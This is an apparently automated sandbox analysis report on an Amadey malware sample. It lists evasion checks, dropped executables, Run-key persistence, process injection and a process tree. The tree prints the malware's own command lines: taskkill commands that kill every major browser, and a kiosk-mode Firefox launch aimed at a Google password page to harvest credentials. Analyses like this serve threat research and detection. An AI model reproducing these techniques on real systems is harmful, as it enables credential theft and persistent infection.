amadey | ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f65226b674.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ec2c8d08ad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3p73z.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1t81G3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2T7938.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
144	2804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
32	3332	skotes.exe
34	3332	skotes.exe
34	3332	skotes.exe
34	3332	skotes.exe
144	2804	powershell.exe

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1t81G3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3p73z.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f65226b674.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ec2c8d08ad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1t81G3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2T7938.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3p73z.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ec2c8d08ad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2T7938.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f65226b674.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	1t81G3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 15 IoCs

pid	Process
1056	R9t46.exe
2188	1t81G3.exe
3332	skotes.exe
1592	2T7938.exe
676	3p73z.exe
2592	skotes.exe
3340	f5cc37d74c.exe
2200	c25721537a.exe
2684	f65226b674.exe
4636	ec2c8d08ad.exe
3044	e4d8324673.exe
1028	cfc9f158a7.exe
4472	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
6072	skotes.exe
6832	skotes.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	3p73z.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	f65226b674.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	ec2c8d08ad.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	1t81G3.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	2T7938.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ec2c8d08ad.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091760001\\ec2c8d08ad.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e4d8324673.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091761001\\e4d8324673.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cfc9f158a7.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091762001\\cfc9f158a7.exe"	skotes.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	R9t46.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f65226b674.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1091759001\\f65226b674.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000a000000023c57-121.dat	autoit_exe
behavioral1/files/0x000a000000023c5a-140.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
2188	1t81G3.exe
3332	skotes.exe
1592	2T7938.exe
676	3p73z.exe
2592	skotes.exe
2684	f65226b674.exe
4636	ec2c8d08ad.exe
4472	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
6072	skotes.exe
6832	skotes.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3340 set thread context of 5448	3340	f5cc37d74c.exe	129

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	1t81G3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	R9t46.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1t81G3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	e4d8324673.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	e4d8324673.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2T7938.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cfc9f158a7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3p73z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f5cc37d74c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f65226b674.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ec2c8d08ad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c25721537a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e4d8324673.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3648	taskkill.exe
4684	taskkill.exe
2776	taskkill.exe
1280	taskkill.exe
3104	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3828	schtasks.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2188	1t81G3.exe
2188	1t81G3.exe
3332	skotes.exe
3332	skotes.exe
1592	2T7938.exe
1592	2T7938.exe
676	3p73z.exe
676	3p73z.exe
2592	skotes.exe
2592	skotes.exe
2684	f65226b674.exe
2684	f65226b674.exe
2684	f65226b674.exe
2684	f65226b674.exe
2684	f65226b674.exe
2684	f65226b674.exe
4636	ec2c8d08ad.exe
4636	ec2c8d08ad.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
2804	powershell.exe
2804	powershell.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
4472	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
4472	TempCFR4KMICOICI6FSJYPMHM01Q4ZVQPH7U.EXE
6072	skotes.exe
6072	skotes.exe
6832	skotes.exe
6832	skotes.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	3648	taskkill.exe
Token: SeDebugPrivilege	4684	taskkill.exe
Token: SeDebugPrivilege	2776	taskkill.exe
Token: SeDebugPrivilege	1280	taskkill.exe
Token: SeDebugPrivilege	3104	taskkill.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2128	firefox.exe
Token: SeDebugPrivilege	2128	firefox.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
1028	cfc9f158a7.exe
3044	e4d8324673.exe
1028	cfc9f158a7.exe
1028	cfc9f158a7.exe
3044	e4d8324673.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
3044	e4d8324673.exe
2128	firefox.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
1028	cfc9f158a7.exe
3044	e4d8324673.exe
1028	cfc9f158a7.exe
1028	cfc9f158a7.exe
3044	e4d8324673.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
2128	firefox.exe
3044	e4d8324673.exe
2128	firefox.exe
3044	e4d8324673.exe
3044	e4d8324673.exe
3044	e4d8324673.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2128	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 1056	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	86
PID 2428 wrote to memory of 1056	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	86
PID 2428 wrote to memory of 1056	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	86
PID 1056 wrote to memory of 2188	1056	R9t46.exe	88
PID 1056 wrote to memory of 2188	1056	R9t46.exe	88
PID 1056 wrote to memory of 2188	1056	R9t46.exe	88
PID 2188 wrote to memory of 3332	2188	1t81G3.exe	89
PID 2188 wrote to memory of 3332	2188	1t81G3.exe	89
PID 2188 wrote to memory of 3332	2188	1t81G3.exe	89
PID 1056 wrote to memory of 1592	1056	R9t46.exe	90
PID 1056 wrote to memory of 1592	1056	R9t46.exe	90
PID 1056 wrote to memory of 1592	1056	R9t46.exe	90
PID 2428 wrote to memory of 676	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	91
PID 2428 wrote to memory of 676	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	91
PID 2428 wrote to memory of 676	2428	ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe	91
PID 3332 wrote to memory of 3340	3332	skotes.exe	93
PID 3332 wrote to memory of 3340	3332	skotes.exe	93
PID 3332 wrote to memory of 3340	3332	skotes.exe	93
PID 3332 wrote to memory of 2200	3332	skotes.exe	94
PID 3332 wrote to memory of 2200	3332	skotes.exe	94
PID 3332 wrote to memory of 2200	3332	skotes.exe	94
PID 3332 wrote to memory of 2684	3332	skotes.exe	95
PID 3332 wrote to memory of 2684	3332	skotes.exe	95
PID 3332 wrote to memory of 2684	3332	skotes.exe	95
PID 3332 wrote to memory of 4636	3332	skotes.exe	97
PID 3332 wrote to memory of 4636	3332	skotes.exe	97
PID 3332 wrote to memory of 4636	3332	skotes.exe	97
PID 3332 wrote to memory of 3044	3332	skotes.exe	98
PID 3332 wrote to memory of 3044	3332	skotes.exe	98
PID 3332 wrote to memory of 3044	3332	skotes.exe	98
PID 3044 wrote to memory of 3648	3044	e4d8324673.exe	99
PID 3044 wrote to memory of 3648	3044	e4d8324673.exe	99
PID 3044 wrote to memory of 3648	3044	e4d8324673.exe	99
PID 3044 wrote to memory of 4684	3044	e4d8324673.exe	101
PID 3044 wrote to memory of 4684	3044	e4d8324673.exe	101
PID 3044 wrote to memory of 4684	3044	e4d8324673.exe	101
PID 3332 wrote to memory of 1028	3332	skotes.exe	103
PID 3332 wrote to memory of 1028	3332	skotes.exe	103
PID 3332 wrote to memory of 1028	3332	skotes.exe	103
PID 3044 wrote to memory of 2776	3044	e4d8324673.exe	104
PID 3044 wrote to memory of 2776	3044	e4d8324673.exe	104
PID 3044 wrote to memory of 2776	3044	e4d8324673.exe	104
PID 1028 wrote to memory of 4804	1028	cfc9f158a7.exe	106
PID 1028 wrote to memory of 4804	1028	cfc9f158a7.exe	106
PID 1028 wrote to memory of 4804	1028	cfc9f158a7.exe	106
PID 1028 wrote to memory of 4740	1028	cfc9f158a7.exe	107
PID 1028 wrote to memory of 4740	1028	cfc9f158a7.exe	107
PID 1028 wrote to memory of 4740	1028	cfc9f158a7.exe	107
PID 4804 wrote to memory of 3828	4804	cmd.exe	109
PID 4804 wrote to memory of 3828	4804	cmd.exe	109
PID 4804 wrote to memory of 3828	4804	cmd.exe	109
PID 3044 wrote to memory of 1280	3044	e4d8324673.exe	110
PID 3044 wrote to memory of 1280	3044	e4d8324673.exe	110
PID 3044 wrote to memory of 1280	3044	e4d8324673.exe	110
PID 3044 wrote to memory of 3104	3044	e4d8324673.exe	112
PID 3044 wrote to memory of 3104	3044	e4d8324673.exe	112
PID 3044 wrote to memory of 3104	3044	e4d8324673.exe	112
PID 4740 wrote to memory of 2804	4740	mshta.exe	114
PID 4740 wrote to memory of 2804	4740	mshta.exe	114
PID 4740 wrote to memory of 2804	4740	mshta.exe	114
PID 3044 wrote to memory of 3704	3044	e4d8324673.exe	116
PID 3044 wrote to memory of 3704	3044	e4d8324673.exe	116
PID 3704 wrote to memory of 2128	3704	firefox.exe	117
PID 3704 wrote to memory of 2128	3704	firefox.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe
"C:\Users\Admin\AppData\Local\Temp\ecc94c155f0fdfe0dd3938d839fc936a2e8e95288bebd3b891e3244de659e8c9.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\R9t46.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\R9t46.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t81G3.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1t81G3.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Users\Admin\AppData\Local\Temp\1091747001\f5cc37d74c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091747001\f5cc37d74c.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3340
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5448
    - - C:\Users\Admin\AppData\Local\Temp\1091749001\c25721537a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091749001\c25721537a.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2200
    - - C:\Users\Admin\AppData\Local\Temp\1091759001\f65226b674.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091759001\f65226b674.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2684
    - - C:\Users\Admin\AppData\Local\Temp\1091760001\ec2c8d08ad.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091760001\ec2c8d08ad.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4636
    - - C:\Users\Admin\AppData\Local\Temp\1091761001\e4d8324673.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1091761001\e4d8324673.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3044
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3648
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4684
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2776
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1280
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3104
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3704
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        7⤵
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:2128
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2028 -parentBuildID 20240401114208 -prefsHandle 1956 -prefMapHandle 1936 -prefsLen 27430 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8d5b54bb-01bb-4fff-8324-6b9b7ca25c99} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" gpu
        8⤵
        
        PID:3472
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2452 -parentBuildID 20240401114208 -prefsHandle 2444 -prefMapHandle 2432 -prefsLen 28350 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {131e9987-c0c1-4df3-9b28-940713023e0a} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" socket
        8⤵
        
        PID:1800
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3344 -childID 1 -isForBrowser -prefsHandle 3368 -prefMapHandle 3364 -prefsLen 22746 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64ff846a-35d7-4f08-8b2e-543b8fe908be} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" tab
        8⤵
        
        PID:1904
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3784 -childID 2 -isForBrowser -prefsHandle 3776 -prefMapHandle 3704 -prefsLen 32840 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6e7f27db-272e-404a-9192-adc2b7f4b4ea} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" tab
        8⤵
        
        PID:4660
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4792 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4784 -prefMapHandle 4744 -prefsLen 32840 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8ef405d-ec9d-4d92-b794-9dcc56aa10e0} 2128 "\\.\pipe\gecko-crash-server-pipe.2128" utility
        8⤵
        Checks processor information in registry
        
        PID:6444
        
